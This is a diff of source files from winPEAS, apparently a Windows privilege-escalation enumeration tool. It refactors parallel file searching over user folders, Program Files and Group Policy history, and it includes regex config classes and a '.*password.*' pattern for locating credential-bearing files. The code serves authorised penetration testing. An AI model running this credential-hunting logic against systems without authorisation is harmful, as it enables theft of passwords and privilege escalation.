value = Math.Max(0, Math.Min(1, value));
|
value = Math.Max(0, Math.Min(1, value));
|
||||||
Interlocked.Exchange(ref currentProgress, value);
|
Interlocked.Exchange(ref currentProgress, value);
|
||||||
}
|
}
|
||||||
|
|
||||||
private void TimerHandler(object state)
|
private void TimerHandler(object state)
|
||||||
{
|
{
|
||||||
lock (timer)
|
lock (timer)
|
||||||
{
|
{
|
||||||
if (disposed) return;
|
if (disposed) return;
|
||||||
|
|
||||||
int progressBlockCount = (int)(currentProgress * blockCount);
|
int progressBlockCount = (int)(currentProgress * blockCount);
|
||||||
int percent = (int)(currentProgress * 100);
|
int percent = (int)(currentProgress * 100);
|
||||||
string text = string.Format("[{0}{1}] {2,3}% {3}",
|
string text = string.Format("[{0}{1}] {2,3}% {3}",
|
||||||
new string('#', progressBlockCount), new string('-', blockCount - progressBlockCount),
|
new string('#', progressBlockCount), new string('-', blockCount - progressBlockCount),
|
||||||
percent,
|
percent,
|
||||||
animation[animationIndex++ % animation.Length]);
|
animation[animationIndex++ % animation.Length]);
|
||||||
UpdateText(text);
|
UpdateText(text);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void UpdateText(string text)
|
private void UpdateText(string text)
|
||||||
{
|
{
|
||||||
// Get length of common portion
|
// Get length of common portion
|
||||||
int commonPrefixLength = 0;
|
int commonPrefixLength = 0;
|
||||||
int commonLength = Math.Min(currentText.Length, text.Length);
|
int commonLength = Math.Min(currentText.Length, text.Length);
|
||||||
while (commonPrefixLength < commonLength && text[commonPrefixLength] == currentText[commonPrefixLength])
|
while (commonPrefixLength < commonLength && text[commonPrefixLength] == currentText[commonPrefixLength])
|
||||||
{
|
{
|
||||||
commonPrefixLength++;
|
commonPrefixLength++;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Backtrack to the first differing character
|
// Backtrack to the first differing character
|
||||||
StringBuilder outputBuilder = new StringBuilder();
|
StringBuilder outputBuilder = new StringBuilder();
|
||||||
outputBuilder.Append('\b', currentText.Length - commonPrefixLength);
|
outputBuilder.Append('\b', currentText.Length - commonPrefixLength);
|
||||||
|
|
||||||
// Output new suffix
|
// Output new suffix
|
||||||
outputBuilder.Append(text.Substring(commonPrefixLength));
|
outputBuilder.Append(text.Substring(commonPrefixLength));
|
||||||
|
|
||||||
// If the new text is shorter than the old one: delete overlapping characters
|
// If the new text is shorter than the old one: delete overlapping characters
|
||||||
int overlapCount = currentText.Length - text.Length;
|
int overlapCount = currentText.Length - text.Length;
|
||||||
if (overlapCount > 0)
|
if (overlapCount > 0)
|
||||||
{
|
{
|
||||||
outputBuilder.Append(' ', overlapCount);
|
outputBuilder.Append(' ', overlapCount);
|
||||||
outputBuilder.Append('\b', overlapCount);
|
outputBuilder.Append('\b', overlapCount);
|
||||||
}
|
}
|
||||||
|
|
||||||
Console.Write(outputBuilder);
|
Console.Write(outputBuilder);
|
||||||
currentText = text;
|
currentText = text;
|
||||||
}
|
}
|
||||||
|
|
||||||
public void Dispose()
|
public void Dispose()
|
||||||
{
|
{
|
||||||
lock (timer)
|
lock (timer)
|
||||||
{
|
{
|
||||||
disposed = true;
|
disposed = true;
|
||||||
UpdateText(string.Empty);
|
UpdateText(string.Empty);
|
||||||
timer.Dispose();
|
timer.Dispose();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
using System;
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using Microsoft.Win32;
|
|
||||||
|
|
||||||
namespace winPEAS.Helpers.Registry
|
namespace winPEAS.Helpers.Registry
|
||||||
{
|
{
|
||||||
@@ -177,7 +177,7 @@ namespace winPEAS.Helpers.Registry
|
|||||||
|
|
||||||
internal static uint? GetDwordValue(string hive, string key, string val)
|
internal static uint? GetDwordValue(string hive, string key, string val)
|
||||||
{
|
{
|
||||||
string strValue = RegistryHelper.GetRegValue(hive, key, val);
|
string strValue = GetRegValue(hive, key, val);
|
||||||
|
|
||||||
if (uint.TryParse(strValue, out uint res))
|
if (uint.TryParse(strValue, out uint res))
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -5,6 +5,8 @@ using System.IO;
|
|||||||
using System.Linq;
|
using System.Linq;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
using System.Threading.Tasks;
|
using System.Threading.Tasks;
|
||||||
|
using FileInfo = Alphaleonis.Win32.Filesystem.FileInfo;
|
||||||
|
using DirectoryInfo = Alphaleonis.Win32.Filesystem.DirectoryInfo;
|
||||||
|
|
||||||
namespace winPEAS.Helpers.Search
|
namespace winPEAS.Helpers.Search
|
||||||
{
|
{
|
||||||
@@ -39,12 +41,131 @@ namespace winPEAS.Helpers.Search
|
|||||||
".png", ".psd", ".raw", ".svg", ".svgz", ".tif", ".tiff", ".webp",
|
".png", ".psd", ".raw", ".svg", ".svgz", ".tif", ".tiff", ".webp",
|
||||||
};
|
};
|
||||||
|
|
||||||
|
//public static List<CustomFileInfo> GetFilesFast(string folder, string pattern = "*", HashSet<string> excludedDirs = null, bool isFoldersIncluded = false)
|
||||||
|
//{
|
||||||
|
// ConcurrentBag<CustomFileInfo> files = new ConcurrentBag<CustomFileInfo>();
|
||||||
|
// IEnumerable<DirectoryInfo> startDirs = GetStartDirectories(folder, files, pattern, isFoldersIncluded);
|
||||||
|
// IList<DirectoryInfo> startDirsExcluded = new List<DirectoryInfo>();
|
||||||
|
// IList<string> known_dirs = new List<string>();
|
||||||
|
|
||||||
|
// if (excludedDirs != null)
|
||||||
|
// {
|
||||||
|
// foreach (var startDir in startDirs)
|
||||||
|
// {
|
||||||
|
// bool shouldAdd = true;
|
||||||
|
// string startDirLower = startDir.FullName.ToLower();
|
||||||
|
|
||||||
|
// shouldAdd = !excludedDirs.Contains(startDirLower);
|
||||||
|
|
||||||
|
// if (shouldAdd)
|
||||||
|
// {
|
||||||
|
// startDirsExcluded.Add(startDir);
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// else
|
||||||
|
// {
|
||||||
|
// startDirsExcluded = startDirs.ToList();
|
||||||
|
// }
|
||||||
|
|
||||||
|
// Parallel.ForEach(startDirsExcluded, (d) =>
|
||||||
|
// {
|
||||||
|
// Parallel.ForEach(GetStartDirectories(d.FullName, files, pattern, isFoldersIncluded), (dir) =>
|
||||||
|
// {
|
||||||
|
// GetFiles(dir.FullName, pattern).ForEach(
|
||||||
|
// (f) =>
|
||||||
|
// {
|
||||||
|
// if (!StaticExtensions.Contains(f.Extension.ToLower()))
|
||||||
|
// {
|
||||||
|
// // It should always be lesss than 260, but some times it isn't so this will bypass that file
|
||||||
|
// //if (Checks.Checks.IsLongPath || f.FullName.Length <= 260)
|
||||||
|
// //{
|
||||||
|
// CustomFileInfo file_info = new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false);
|
||||||
|
// files.Add(file_info);
|
||||||
|
|
||||||
|
// CustomFileInfo file_dir = new CustomFileInfo(f.Directory.Name, "", f.Directory.FullName, 0, true);
|
||||||
|
// if (!known_dirs.Contains(file_dir.FullPath))
|
||||||
|
// {
|
||||||
|
// known_dirs.Add(file_dir.FullPath);
|
||||||
|
// files.Add(file_dir);
|
||||||
|
// }
|
||||||
|
// //}
|
||||||
|
// //else if (f.FullName.Length > 260)
|
||||||
|
// //Beaprint.LongPathWarning(f.FullName);
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// );
|
||||||
|
// });
|
||||||
|
// });
|
||||||
|
|
||||||
|
// return files.ToList();
|
||||||
|
//}
|
||||||
|
|
||||||
|
//private static List<FileInfo> GetFiles(string folder, string pattern = "*")
|
||||||
|
//{
|
||||||
|
// DirectoryInfo dirInfo;
|
||||||
|
// DirectoryInfo[] directories;
|
||||||
|
// try
|
||||||
|
// {
|
||||||
|
// dirInfo = new DirectoryInfo(folder);
|
||||||
|
// directories = dirInfo.GetDirectories();
|
||||||
|
|
||||||
|
// if (directories.Length == 0)
|
||||||
|
// {
|
||||||
|
// return new List<FileInfo>(dirInfo.GetFiles(pattern));
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// catch (UnauthorizedAccessException)
|
||||||
|
// {
|
||||||
|
// return new List<FileInfo>();
|
||||||
|
// }
|
||||||
|
// catch (PathTooLongException)
|
||||||
|
// {
|
||||||
|
// return new List<FileInfo>();
|
||||||
|
// }
|
||||||
|
// catch (DirectoryNotFoundException)
|
||||||
|
// {
|
||||||
|
// return new List<FileInfo>();
|
||||||
|
// }
|
||||||
|
// catch (Exception)
|
||||||
|
// {
|
||||||
|
// return new List<FileInfo>();
|
||||||
|
// }
|
||||||
|
|
||||||
|
// List<FileInfo> result = new List<FileInfo>();
|
||||||
|
|
||||||
|
// foreach (var d in directories)
|
||||||
|
// {
|
||||||
|
// result.AddRange(GetFiles(d.FullName, pattern));
|
||||||
|
// }
|
||||||
|
|
||||||
|
// try
|
||||||
|
// {
|
||||||
|
// result.AddRange(dirInfo.GetFiles(pattern));
|
||||||
|
// }
|
||||||
|
// catch (UnauthorizedAccessException)
|
||||||
|
// {
|
||||||
|
// }
|
||||||
|
// catch (PathTooLongException)
|
||||||
|
// {
|
||||||
|
// }
|
||||||
|
// catch (DirectoryNotFoundException)
|
||||||
|
// {
|
||||||
|
// }
|
||||||
|
// catch (Exception)
|
||||||
|
// {
|
||||||
|
// }
|
||||||
|
|
||||||
|
// return result;
|
||||||
|
//}
|
||||||
|
|
||||||
|
|
||||||
public static List<CustomFileInfo> GetFilesFast(string folder, string pattern = "*", HashSet<string> excludedDirs = null, bool isFoldersIncluded = false)
|
public static List<CustomFileInfo> GetFilesFast(string folder, string pattern = "*", HashSet<string> excludedDirs = null, bool isFoldersIncluded = false)
|
||||||
{
|
{
|
||||||
ConcurrentBag<CustomFileInfo> files = new ConcurrentBag<CustomFileInfo>();
|
ConcurrentBag<CustomFileInfo> files = new ConcurrentBag<CustomFileInfo>();
|
||||||
IEnumerable<DirectoryInfo> startDirs = GetStartDirectories(folder, files, pattern, isFoldersIncluded);
|
IEnumerable<DirectoryInfo> startDirs = GetStartDirectories(folder, files, pattern, isFoldersIncluded);
|
||||||
IList<DirectoryInfo> startDirsExcluded = new List<DirectoryInfo>();
|
IList<DirectoryInfo> startDirsExcluded = new List<DirectoryInfo>();
|
||||||
IList<string> known_dirs = new List<string>();
|
ConcurrentDictionary<string, byte> known_dirs = new ConcurrentDictionary<string, byte>();
|
||||||
|
|
||||||
if (excludedDirs != null)
|
if (excludedDirs != null)
|
||||||
{
|
{
|
||||||
@@ -68,35 +189,27 @@ namespace winPEAS.Helpers.Search
|
|||||||
|
|
||||||
Parallel.ForEach(startDirsExcluded, (d) =>
|
Parallel.ForEach(startDirsExcluded, (d) =>
|
||||||
{
|
{
|
||||||
Parallel.ForEach(GetStartDirectories(d.FullName, files, pattern, isFoldersIncluded), (dir) =>
|
var foundFiles = GetFiles(d.FullName, pattern);
|
||||||
|
foreach (var f in foundFiles)
|
||||||
{
|
{
|
||||||
GetFiles(dir.FullName, pattern).ForEach(
|
if (f != null && !StaticExtensions.Contains(f.Extension.ToLower()))
|
||||||
(f) =>
|
{
|
||||||
{
|
CustomFileInfo file_info = new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false);
|
||||||
if (!StaticExtensions.Contains(f.Extension.ToLower()))
|
files.Add(file_info);
|
||||||
{
|
|
||||||
// It should always be lesss than 260, but some times it isn't so this will bypass that file
|
|
||||||
if (f.FullName.Length <= 260)
|
|
||||||
{
|
|
||||||
CustomFileInfo file_info = new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false);
|
|
||||||
files.Add(file_info);
|
|
||||||
|
|
||||||
CustomFileInfo file_dir = new CustomFileInfo(f.Directory.Name, "", f.Directory.FullName, 0, true);
|
CustomFileInfo file_dir = new CustomFileInfo(f.Directory.Name, "", f.Directory.FullName, 0, true);
|
||||||
if (!known_dirs.Contains(file_dir.FullPath))
|
if (known_dirs.TryAdd(file_dir.FullPath, 0))
|
||||||
{
|
{
|
||||||
known_dirs.Add(file_dir.FullPath);
|
files.Add(file_dir);
|
||||||
files.Add(file_dir);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
) ;
|
}
|
||||||
});
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
return files.ToList();
|
return files.ToList();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
private static List<FileInfo> GetFiles(string folder, string pattern = "*")
|
private static List<FileInfo> GetFiles(string folder, string pattern = "*")
|
||||||
{
|
{
|
||||||
DirectoryInfo dirInfo;
|
DirectoryInfo dirInfo;
|
||||||
@@ -128,16 +241,22 @@ namespace winPEAS.Helpers.Search
|
|||||||
return new List<FileInfo>();
|
return new List<FileInfo>();
|
||||||
}
|
}
|
||||||
|
|
||||||
List<FileInfo> result = new List<FileInfo>();
|
ConcurrentBag<FileInfo> result = new ConcurrentBag<FileInfo>();
|
||||||
|
|
||||||
foreach (var d in directories)
|
Parallel.ForEach(directories, (d) =>
|
||||||
{
|
{
|
||||||
result.AddRange(GetFiles(d.FullName, pattern));
|
foreach (var file in GetFiles(d.FullName, pattern))
|
||||||
}
|
{
|
||||||
|
result.Add(file);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
result.AddRange(dirInfo.GetFiles(pattern));
|
foreach (var file in dirInfo.GetFiles(pattern))
|
||||||
|
{
|
||||||
|
result.Add(file);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
catch (UnauthorizedAccessException)
|
catch (UnauthorizedAccessException)
|
||||||
{
|
{
|
||||||
@@ -152,7 +271,7 @@ namespace winPEAS.Helpers.Search
|
|||||||
{
|
{
|
||||||
}
|
}
|
||||||
|
|
||||||
return result;
|
return result.ToList();
|
||||||
}
|
}
|
||||||
|
|
||||||
private static IEnumerable<DirectoryInfo> GetStartDirectories(string folder, ConcurrentBag<CustomFileInfo> files, string pattern, bool isFoldersIncluded = false)
|
private static IEnumerable<DirectoryInfo> GetStartDirectories(string folder, ConcurrentBag<CustomFileInfo> files, string pattern, bool isFoldersIncluded = false)
|
||||||
@@ -169,14 +288,24 @@ namespace winPEAS.Helpers.Search
|
|||||||
{
|
{
|
||||||
foreach (var directory in directories)
|
foreach (var directory in directories)
|
||||||
{
|
{
|
||||||
files.Add(new CustomFileInfo(directory.Name, null, directory.FullName, 0, true));
|
if (Checks.Checks.IsLongPath || directory.FullName.Length <= 260)
|
||||||
|
files.Add(new CustomFileInfo(directory.Name, null, directory.FullName, 0, true));
|
||||||
|
|
||||||
|
else if (directory.FullName.Length > 260)
|
||||||
|
Beaprint.LongPathWarning(directory.FullName);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
foreach (var f in dirInfo.GetFiles(pattern))
|
foreach (var f in dirInfo.GetFiles(pattern))
|
||||||
{
|
{
|
||||||
if (!StaticExtensions.Contains(f.Extension.ToLower()))
|
if (!StaticExtensions.Contains(f.Extension.ToLower()))
|
||||||
files.Add(new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false));
|
{
|
||||||
|
if (Checks.Checks.IsLongPath || f.FullName.Length <= 260)
|
||||||
|
files.Add(new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false));
|
||||||
|
|
||||||
|
else if (f.FullName.Length > 260)
|
||||||
|
Beaprint.LongPathWarning(f.FullName);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (directories.Length > 1) return new List<DirectoryInfo>(directories);
|
if (directories.Length > 1) return new List<DirectoryInfo>(directories);
|
||||||
@@ -209,43 +338,43 @@ namespace winPEAS.Helpers.Search
|
|||||||
{
|
{
|
||||||
// c:\users
|
// c:\users
|
||||||
string rootUsersSearchPath = $"{SystemDrive}\\Users\\";
|
string rootUsersSearchPath = $"{SystemDrive}\\Users\\";
|
||||||
SearchHelper.RootDirUsers = SearchHelper.GetFilesFast(rootUsersSearchPath, GlobalPattern, isFoldersIncluded: true);
|
RootDirUsers = GetFilesFast(rootUsersSearchPath, GlobalPattern, isFoldersIncluded: true);
|
||||||
|
|
||||||
// c:\users\current_user
|
// c:\users\current_user
|
||||||
string rootCurrentUserSearchPath = Environment.GetEnvironmentVariable("USERPROFILE");
|
string rootCurrentUserSearchPath = Environment.GetEnvironmentVariable("USERPROFILE");
|
||||||
SearchHelper.RootDirCurrentUser = SearchHelper.GetFilesFast(rootCurrentUserSearchPath, GlobalPattern, isFoldersIncluded: true);
|
RootDirCurrentUser = GetFilesFast(rootCurrentUserSearchPath, GlobalPattern, isFoldersIncluded: true);
|
||||||
|
|
||||||
// c:\Program Files\
|
// c:\Program Files\
|
||||||
string rootProgramFiles = $"{SystemDrive}\\Program Files\\";
|
string rootProgramFiles = $"{SystemDrive}\\Program Files\\";
|
||||||
SearchHelper.ProgramFiles = SearchHelper.GetFilesFast(rootProgramFiles, GlobalPattern, isFoldersIncluded: true);
|
ProgramFiles = GetFilesFast(rootProgramFiles, GlobalPattern, isFoldersIncluded: true);
|
||||||
|
|
||||||
// c:\Program Files (x86)\
|
// c:\Program Files (x86)\
|
||||||
string rootProgramFilesX86 = $"{SystemDrive}\\Program Files (x86)\\";
|
string rootProgramFilesX86 = $"{SystemDrive}\\Program Files (x86)\\";
|
||||||
SearchHelper.ProgramFilesX86 = SearchHelper.GetFilesFast(rootProgramFilesX86, GlobalPattern, isFoldersIncluded: true);
|
ProgramFilesX86 = GetFilesFast(rootProgramFilesX86, GlobalPattern, isFoldersIncluded: true);
|
||||||
|
|
||||||
// c:\Documents and Settings\
|
// c:\Documents and Settings\
|
||||||
string documentsAndSettings = $"{SystemDrive}\\Documents and Settings\\";
|
string documentsAndSettings = $"{SystemDrive}\\Documents and Settings\\";
|
||||||
SearchHelper.DocumentsAndSettings = SearchHelper.GetFilesFast(documentsAndSettings, GlobalPattern, isFoldersIncluded: true);
|
DocumentsAndSettings = GetFilesFast(documentsAndSettings, GlobalPattern, isFoldersIncluded: true);
|
||||||
|
|
||||||
// c:\ProgramData\Microsoft\Group Policy\History
|
// c:\ProgramData\Microsoft\Group Policy\History
|
||||||
string groupPolicyHistory = $"{SystemDrive}\\ProgramData\\Microsoft\\Group Policy\\History";
|
string groupPolicyHistory = $"{SystemDrive}\\ProgramData\\Microsoft\\Group Policy\\History";
|
||||||
SearchHelper.GroupPolicyHistory = SearchHelper.GetFilesFast(groupPolicyHistory, GlobalPattern, isFoldersIncluded: true);
|
GroupPolicyHistory = GetFilesFast(groupPolicyHistory, GlobalPattern, isFoldersIncluded: true);
|
||||||
|
|
||||||
// c:\Documents and Settings\All Users\Application Data\\Microsoft\\Group Policy\\History
|
// c:\Documents and Settings\All Users\Application Data\\Microsoft\\Group Policy\\History
|
||||||
string groupPolicyHistoryLegacy = $"{documentsAndSettings}\\All Users\\Application Data\\Microsoft\\Group Policy\\History";
|
string groupPolicyHistoryLegacy = $"{documentsAndSettings}\\All Users\\Application Data\\Microsoft\\Group Policy\\History";
|
||||||
//SearchHelper.GroupPolicyHistoryLegacy = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, globalPattern);
|
//SearchHelper.GroupPolicyHistoryLegacy = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, globalPattern);
|
||||||
var groupPolicyHistoryLegacyFiles = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, GlobalPattern, isFoldersIncluded: true);
|
var groupPolicyHistoryLegacyFiles = GetFilesFast(groupPolicyHistoryLegacy, GlobalPattern, isFoldersIncluded: true);
|
||||||
SearchHelper.GroupPolicyHistory.AddRange(groupPolicyHistoryLegacyFiles);
|
GroupPolicyHistory.AddRange(groupPolicyHistoryLegacyFiles);
|
||||||
}
|
}
|
||||||
|
|
||||||
internal static void CleanLists()
|
internal static void CleanLists()
|
||||||
{
|
{
|
||||||
SearchHelper.RootDirUsers = null;
|
RootDirUsers = null;
|
||||||
SearchHelper.RootDirCurrentUser = null;
|
RootDirCurrentUser = null;
|
||||||
SearchHelper.ProgramFiles = null;
|
ProgramFiles = null;
|
||||||
SearchHelper.ProgramFilesX86 = null;
|
ProgramFilesX86 = null;
|
||||||
SearchHelper.DocumentsAndSettings = null;
|
DocumentsAndSettings = null;
|
||||||
SearchHelper.GroupPolicyHistory = null;
|
GroupPolicyHistory = null;
|
||||||
|
|
||||||
GC.Collect();
|
GC.Collect();
|
||||||
}
|
}
|
||||||
@@ -258,7 +387,7 @@ namespace winPEAS.Helpers.Search
|
|||||||
".*password.*"
|
".*password.*"
|
||||||
};
|
};
|
||||||
|
|
||||||
foreach (var file in SearchHelper.RootDirUsers)
|
foreach (var file in RootDirUsers)
|
||||||
{
|
{
|
||||||
//string extLower = file.Extension.ToLower();
|
//string extLower = file.Extension.ToLower();
|
||||||
|
|
||||||
@@ -285,7 +414,7 @@ namespace winPEAS.Helpers.Search
|
|||||||
{
|
{
|
||||||
var result = new List<string>();
|
var result = new List<string>();
|
||||||
|
|
||||||
foreach (var file in SearchHelper.RootDirCurrentUser)
|
foreach (var file in RootDirCurrentUser)
|
||||||
{
|
{
|
||||||
if (!file.IsDirectory)
|
if (!file.IsDirectory)
|
||||||
{
|
{
|
||||||
@@ -325,7 +454,7 @@ namespace winPEAS.Helpers.Search
|
|||||||
".xml"
|
".xml"
|
||||||
};
|
};
|
||||||
|
|
||||||
foreach (var file in SearchHelper.GroupPolicyHistory)
|
foreach (var file in GroupPolicyHistory)
|
||||||
{
|
{
|
||||||
if (!file.IsDirectory)
|
if (!file.IsDirectory)
|
||||||
{
|
{
|
||||||
@@ -349,14 +478,14 @@ namespace winPEAS.Helpers.Search
|
|||||||
};
|
};
|
||||||
|
|
||||||
string programDataPath = $"{SystemDrive}\\ProgramData\\";
|
string programDataPath = $"{SystemDrive}\\ProgramData\\";
|
||||||
var programData = SearchHelper.GetFilesFast(programDataPath, GlobalPattern);
|
var programData = GetFilesFast(programDataPath, GlobalPattern);
|
||||||
|
|
||||||
var searchFiles = new List<CustomFileInfo>();
|
var searchFiles = new List<CustomFileInfo>();
|
||||||
searchFiles.AddRange(SearchHelper.ProgramFiles);
|
searchFiles.AddRange(ProgramFiles);
|
||||||
searchFiles.AddRange(SearchHelper.ProgramFilesX86);
|
searchFiles.AddRange(ProgramFilesX86);
|
||||||
searchFiles.AddRange(programData);
|
searchFiles.AddRange(programData);
|
||||||
searchFiles.AddRange(SearchHelper.DocumentsAndSettings);
|
searchFiles.AddRange(DocumentsAndSettings);
|
||||||
searchFiles.AddRange(SearchHelper.RootDirUsers);
|
searchFiles.AddRange(RootDirUsers);
|
||||||
|
|
||||||
foreach (var file in searchFiles)
|
foreach (var file in searchFiles)
|
||||||
{
|
{
|
||||||
@@ -391,7 +520,7 @@ namespace winPEAS.Helpers.Search
|
|||||||
".pdf",
|
".pdf",
|
||||||
};
|
};
|
||||||
|
|
||||||
foreach (var file in SearchHelper.RootDirCurrentUser)
|
foreach (var file in RootDirCurrentUser)
|
||||||
{
|
{
|
||||||
if (!file.IsDirectory)
|
if (!file.IsDirectory)
|
||||||
{
|
{
|
||||||
@@ -439,7 +568,7 @@ namespace winPEAS.Helpers.Search
|
|||||||
".pdf",
|
".pdf",
|
||||||
};
|
};
|
||||||
|
|
||||||
foreach (var file in SearchHelper.RootDirUsers)
|
foreach (var file in RootDirUsers)
|
||||||
{
|
{
|
||||||
if (!file.IsDirectory)
|
if (!file.IsDirectory)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -8,7 +8,8 @@ namespace winPEAS.Helpers.YamlConfig
|
|||||||
{
|
{
|
||||||
public string name { get; set; }
|
public string name { get; set; }
|
||||||
public RegularExpression[] regexes { get; set; }
|
public RegularExpression[] regexes { get; set; }
|
||||||
public class RegularExpression {
|
public class RegularExpression
|
||||||
|
{
|
||||||
public string name { get; set; }
|
public string name { get; set; }
|
||||||
public string regex { get; set; }
|
public string regex { get; set; }
|
||||||
|
|
||||||
@@ -25,65 +26,65 @@ namespace winPEAS.Helpers.YamlConfig
|
|||||||
|
|
||||||
public class FileParam
|
public class FileParam
|
||||||
{
|
{
|
||||||
public string name { get; set; }
|
public string name { get; set; }
|
||||||
public FileSettings value { get; set; }
|
public FileSettings value { get; set; }
|
||||||
}
|
}
|
||||||
|
|
||||||
public class SearchParameters
|
public class SearchParameters
|
||||||
{
|
{
|
||||||
public class FileSettings
|
public class FileSettings
|
||||||
{
|
{
|
||||||
public string bad_regex { get; set; }
|
public string bad_regex { get; set; }
|
||||||
// public string check_extra_path { get; set; } // not used in Winpeas
|
// public string check_extra_path { get; set; } // not used in Winpeas
|
||||||
public string good_regex { get; set; }
|
public string good_regex { get; set; }
|
||||||
public bool? just_list_file { get; set; }
|
public bool? just_list_file { get; set; }
|
||||||
public string line_grep { get; set; }
|
public string line_grep { get; set; }
|
||||||
public bool? only_bad_lines { get; set; }
|
public bool? only_bad_lines { get; set; }
|
||||||
public bool? remove_empty_lines { get; set; }
|
public bool? remove_empty_lines { get; set; }
|
||||||
// public string remove_path { get; set; } // not used in Winpeas
|
// public string remove_path { get; set; } // not used in Winpeas
|
||||||
public string remove_regex { get; set; }
|
public string remove_regex { get; set; }
|
||||||
public string remove_path { get; set; }
|
public string remove_path { get; set; }
|
||||||
// public string[] search_in { get; set; } // not used in Winpeas
|
// public string[] search_in { get; set; } // not used in Winpeas
|
||||||
public string type { get; set; }
|
public string type { get; set; }
|
||||||
public FileParam[] files { get; set; }
|
public FileParam[] files { get; set; }
|
||||||
}
|
}
|
||||||
|
|
||||||
public class FileParameters
|
public class FileParameters
|
||||||
{
|
{
|
||||||
public string file { get; set; }
|
public string file { get; set; }
|
||||||
public FileSettings options { get; set; }
|
public FileSettings options { get; set; }
|
||||||
}
|
}
|
||||||
|
|
||||||
public class Config
|
public class Config
|
||||||
{
|
{
|
||||||
public bool auto_check { get; set; }
|
public bool auto_check { get; set; }
|
||||||
}
|
}
|
||||||
|
|
||||||
public Config config { get; set; }
|
public Config config { get; set; }
|
||||||
public string[] disable { get; set; } // disabled scripts - linpeas/winpeas
|
public string[] disable { get; set; } // disabled scripts - linpeas/winpeas
|
||||||
public FileParam[] files { get; set; }
|
public FileParam[] files { get; set; }
|
||||||
}
|
}
|
||||||
|
|
||||||
public class SearchParams
|
public class SearchParams
|
||||||
{
|
{
|
||||||
public string name { get; set; }
|
public string name { get; set; }
|
||||||
public SearchParameters value { get; set; }
|
public SearchParameters value { get; set; }
|
||||||
}
|
}
|
||||||
|
|
||||||
public class Defaults
|
public class Defaults
|
||||||
{
|
{
|
||||||
public bool auto_check { get; set; }
|
public bool auto_check { get; set; }
|
||||||
public string bad_regex { get; set; }
|
public string bad_regex { get; set; }
|
||||||
//public string check_extra_path { get; set; } not used in winpeas
|
//public string check_extra_path { get; set; } not used in winpeas
|
||||||
public string good_regex { get; set; }
|
public string good_regex { get; set; }
|
||||||
public bool just_list_file { get; set; }
|
public bool just_list_file { get; set; }
|
||||||
public string line_grep { get; set; }
|
public string line_grep { get; set; }
|
||||||
public bool only_bad_lines { get; set; }
|
public bool only_bad_lines { get; set; }
|
||||||
public bool remove_empty_lines { get; set; }
|
public bool remove_empty_lines { get; set; }
|
||||||
public string remove_path { get; set; }
|
public string remove_path { get; set; }
|
||||||
public string remove_regex { get; set; }
|
public string remove_regex { get; set; }
|
||||||
public string[] search_in { get; set; }
|
public string[] search_in { get; set; }
|
||||||
public string type { get; set; }
|
public string type { get; set; }
|
||||||
}
|
}
|
||||||
|
|
||||||
public class Variable
|
public class Variable
|
||||||
@@ -92,9 +93,9 @@ namespace winPEAS.Helpers.YamlConfig
|
|||||||
public string value { get; set; }
|
public string value { get; set; }
|
||||||
}
|
}
|
||||||
|
|
||||||
public SearchParams[] search { get; set; }
|
public SearchParams[] search { get; set; }
|
||||||
|
|
||||||
public Defaults defaults { get; set; }
|
public Defaults defaults { get; set; }
|
||||||
|
|
||||||
public Variable[] variables { get; set; }
|
public Variable[] variables { get; set; }
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,10 +1,9 @@
|
|||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Yaml.Serialization;
|
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Reflection;
|
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Yaml.Serialization;
|
||||||
using static winPEAS.Helpers.YamlConfig.YamlConfig;
|
using static winPEAS.Helpers.YamlConfig.YamlConfig;
|
||||||
using static winPEAS.Helpers.YamlConfig.YamlRegexConfig;
|
|
||||||
|
|
||||||
|
|
||||||
namespace winPEAS.Helpers.YamlConfig
|
namespace winPEAS.Helpers.YamlConfig
|
||||||
@@ -30,7 +29,7 @@ namespace winPEAS.Helpers.YamlConfig
|
|||||||
YamlRegexConfig yamlConfig = (YamlRegexConfig)yamlSerializer.Deserialize(configFileContent, typeof(YamlRegexConfig))[0];
|
YamlRegexConfig yamlConfig = (YamlRegexConfig)yamlSerializer.Deserialize(configFileContent, typeof(YamlRegexConfig))[0];
|
||||||
|
|
||||||
// check
|
// check
|
||||||
if (yamlConfig.regular_expresions == null || yamlConfig.regular_expresions.Length == 0)
|
if (yamlConfig.regular_expresions == null || yamlConfig.regular_expresions.Length == 0)
|
||||||
{
|
{
|
||||||
throw new System.Exception("No configuration was read");
|
throw new System.Exception("No configuration was read");
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
